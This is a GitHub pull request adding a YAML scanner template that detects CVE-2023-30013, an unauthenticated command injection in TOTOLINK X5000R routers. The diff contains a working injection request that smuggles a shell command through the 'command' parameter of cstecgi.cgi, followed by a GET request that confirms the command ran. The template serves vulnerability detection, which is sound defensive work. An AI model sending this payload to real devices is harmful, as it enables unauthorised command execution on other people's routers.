Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Create CVE-2023-30013.yaml #8293

Merged
merged 2 commits into from
Oct 10, 2023
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
52 changes: 52 additions & 0 deletions http/cves/2023/CVE-2023-30013.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,52 @@
id: CVE-2023-30013

info:
name: TOTOLink - Unauthenticated Command Injection
author: gy741
severity: critical
description: |
TOTOLINK X5000R V9.1.0u.6118_B20201102 and V9.1.0u.6369_B20230113 contain a command insertion vulnerability in setting/setTracerouteCfg. This vulnerability allows an attacker to execute arbitrary commands through the "command" parameter.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-30013
- https://github.com/Kazamayc/vuln/tree/main/TOTOLINK/X5000R/2
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-30013
cwe-id: CWE-78
epss-score: 0.102540000
epss-percentile: 0.942680000
cpe: cpe:2.3:o:totolink:x5000r_firmware:9.1.0u.6118_b20201102:*:*:*:*:*:*:*
tags: cve,cve2023,totolink,unauth,rce,intrusive

http:
- raw:
- |
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: {{Hostname}}

{"command":"127.0.0.1; ls>../{{randstr}};#","num":"230","topicurl":"setTracerouteCfg"}

- |
GET /{{randstr}} HTTP/1.1
Host: {{Hostname}}

matchers-condition: and
matchers:
- type: word
part: body_1
words:
- "lan_ip"
- "reserv"
condition: and

- type: word
part: body_2
words:
- ".sh"
- ".cgi"
condition: and

- type: status
status:
- 200
Loading